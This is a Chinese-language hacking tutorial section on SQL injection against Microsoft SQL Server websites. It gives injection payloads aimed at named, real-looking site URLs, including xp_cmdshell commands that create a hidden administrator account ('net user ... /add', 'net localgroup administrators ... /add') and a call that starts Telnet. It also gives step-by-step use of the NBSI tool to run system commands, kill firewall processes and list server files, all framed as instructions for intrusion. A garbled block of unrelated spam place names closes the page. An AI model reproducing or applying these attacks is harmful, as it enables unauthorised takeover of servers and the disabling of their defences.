官术网_书友最值得收藏!

2.7 擴(kuò)展存儲(chǔ)過(guò)程直接攻擊服務(wù)器

除了在第二部分中提到的上傳木馬后門、控制網(wǎng)站服務(wù)器外,還可以直接利用SQL語(yǔ)句來(lái)查詢服務(wù)器信息、執(zhí)行任意命令、操作注冊(cè)表等。

2.7.1 存儲(chǔ)過(guò)程快速攻擊數(shù)據(jù)庫(kù)

SQL中的“master.dbo.xp_cmdshell”、“xp_servicecontrol”等擴(kuò)展存儲(chǔ)過(guò)程是一類用來(lái)擴(kuò)展數(shù)據(jù)庫(kù)功能的命令,利用它可以完成對(duì)整個(gè)系統(tǒng)的控制。如果當(dāng)前連接網(wǎng)站數(shù)據(jù)庫(kù)的賬號(hào)具有SA權(quán)限,并且數(shù)據(jù)庫(kù)中存在該擴(kuò)展存儲(chǔ)過(guò)程的話,那么就可以用如下方法來(lái)入侵網(wǎng)站服務(wù)器了。

1.判斷當(dāng)前數(shù)據(jù)庫(kù)連接用戶權(quán)限

在注入點(diǎn)“http://www.anzhuang.org:8000/guild/sites/cia/detail.asp? i=JRJD&id=2578”提交“and user>0”,返回信息如下(圖130):

圖130 返回信息界面

“……將nvarchar值 ’dbo’ 轉(zhuǎn)換為數(shù)據(jù)類型為int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。……”,其中“dbo”即為當(dāng)前連接數(shù)據(jù)庫(kù)的用戶名,該用戶名默認(rèn)為SA權(quán)限。如果是其他自定義的用戶名,則表明該用戶權(quán)限為“public”。

2.獲得當(dāng)前連接的數(shù)據(jù)庫(kù)名

提交“and db_name()>0”,返回信息為(圖131):

            “……將 nvarchar 值 ’guild’ 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)
            誤。……”

表明當(dāng)前連接的數(shù)據(jù)庫(kù)名為“guild”。

圖131 返回信息界面

3.執(zhí)行任意命令

利用“master.dbo.xp_cmdshell”擴(kuò)展存儲(chǔ)過(guò)程,可以執(zhí)行任意系統(tǒng)命令,如可以在系統(tǒng)中添加新的賬戶,開(kāi)啟系統(tǒng)的Telnet或3389服務(wù)等;或者修改注冊(cè)表,任意添加刪除文件等。

a.添加系統(tǒng)賬戶

提交語(yǔ)句:

            http://www.xinzun.com.cn/skill/skill_id.asp? id=1 ; exec master..
            xp_cmdshell "net user xiaoyao loveyou /add"

將在系統(tǒng)中添加用戶名和密碼分別為“xiaoyao”、“l(fā)oveyou”的賬號(hào);

提交“; exec master..xp_cmdshell "net localgroup administrators xiaoyao /add"”

將賬號(hào)“xiaoyao”的用戶提升為管理員。

b.開(kāi)啟Telnet服務(wù)

提交“; exec master..xp_servicecontrol "net start /add"”,即可開(kāi)啟遠(yuǎn)程服務(wù)器上的Telnet服務(wù)。

此外,在SQL中還有一些擴(kuò)展存儲(chǔ),可以操作注冊(cè)表、讀取任意文件,甚至可以在服務(wù)器的Web虛擬路徑中寫入ASP木馬后門等。

2.7.2 利用NBSI注入控制服務(wù)器

上面介紹的利用存儲(chǔ)過(guò)程控制服務(wù)器的方法,對(duì)于初學(xué)SQL注入的讀者來(lái)說(shuō)略顯復(fù)雜了,因此未做太詳細(xì)的介紹。下面要重點(diǎn)介紹給大家的是如何利用NBSI來(lái)入侵控制服務(wù)器。

1.簡(jiǎn)單獲取數(shù)據(jù)庫(kù)信息

尋找到一個(gè)SQL注入點(diǎn)后,打開(kāi)NBSI并單擊程序窗口工具欄上的“注入分析”按鈕,在“注入地址”中輸入注入點(diǎn)URL鏈接,然后單擊【檢測(cè)】按鈕,運(yùn)行完畢后在右邊的“SQL Server信息”中顯示出當(dāng)前連接SQL Server數(shù)據(jù)庫(kù)的用戶名、權(quán)限及所連接的數(shù)據(jù)庫(kù)名等(圖132)。

圖132 獲取數(shù)據(jù)庫(kù)信息

2.“NB Commander命令行執(zhí)行器”輕松獲取系統(tǒng)權(quán)限

如果在SQL信息中返回的是DBO用戶、SA權(quán)限,那么利用NBSI可以很快地獲取網(wǎng)站服務(wù)器的系統(tǒng)權(quán)限。單擊工具欄中的“掃描及工具”按鈕,在彈出的下拉菜單中單擊“NB Commander命令行執(zhí)行器”命令。然后在“注入地址”中輸入注入點(diǎn)鏈接地址,并選擇注入類型;然后勾選“嘗試回顯結(jié)果”復(fù)選框及“執(zhí)行DOS命令”復(fù)選框(圖133)。

圖133 獲取系統(tǒng)權(quán)限

在“命令”中輸入要執(zhí)行的系統(tǒng)命令,如可輸入“netstat -na”,單擊【執(zhí)行】按鈕后,即可看到服務(wù)器上此時(shí)正在運(yùn)行的程序及打開(kāi)的端口。可在“命令”框中輸入相關(guān)的命令,來(lái)打開(kāi)3389或Telnet等服務(wù),或者使用“tasklist”和“taskkill”命令來(lái)顯示及結(jié)束服務(wù)器上的防火墻進(jìn)程等。然后就可以直接用3389登錄服務(wù)器進(jìn)行控制了。

當(dāng)勾選“執(zhí)行DOS命令”時(shí),會(huì)彈出常用的DOS命令,如添加賬戶、顯示目錄文件夾等(見(jiàn)圖134),可以方便我們直接復(fù)制后運(yùn)行。另外在勾選“SQL語(yǔ)句”后,也可以直接在“命令”框中輸入SQL命令查詢數(shù)據(jù)庫(kù),或者調(diào)用各種擴(kuò)展存儲(chǔ),完成一些特殊的命令。

3.“HBTreeList”目錄列表提升權(quán)限

如果我們并沒(méi)有太高的權(quán)限,但是只要有“Public”以上的權(quán)限,都可以利用NBSI的該功能查看服務(wù)器上的目錄和文件列表。

圖134 常用的DOS命令

單擊工具欄上的“掃描及工具”按鈕,在彈出的下拉菜單中單擊“HBTreeList目錄列表工具”命令。然后輸入注入點(diǎn)鏈接地址,并選擇注入類型;勾選右邊的“文件”和“文件夾”復(fù)選框,然后在“輸入路徑”中輸入要查看的磁盤路徑,單擊【列目錄】按鈕,就可以查看到任意路徑中的文件夾及文件列表了(圖135)。不過(guò)在命令執(zhí)行時(shí)速度非常慢,需要耐心等待。

圖135 查看文件及文件夾列表

獲得磁盤中的目錄信息后,可以有助于了解服務(wù)器上安裝了什么防火墻或殺毒軟件,是否可以利用Serv-U、PCanywhere等來(lái)提升權(quán)限等。具體提升權(quán)限的方法會(huì)在后面有所提及。

主站蜘蛛池模板: 南汇区| 赣州市| 冕宁县| 延津县| 商都县| 平远县| 庆阳市| 高碑店市| 信阳市| 东方市| 且末县| 仙居县| 福贡县| 泽库县| 巴彦淖尔市| 库车县| 报价| 南涧| 敦煌市| 林芝县| 垫江县| 晋江市| 通榆县| 扬中市| 手游| 栖霞市| 汽车| 青海省| 镇雄县| 吉安市| 屏东市| 加查县| 砀山县| 久治县| 砀山县| 石门县| 海门市| 平远县| 白银市| 崇州市| 宁陕县|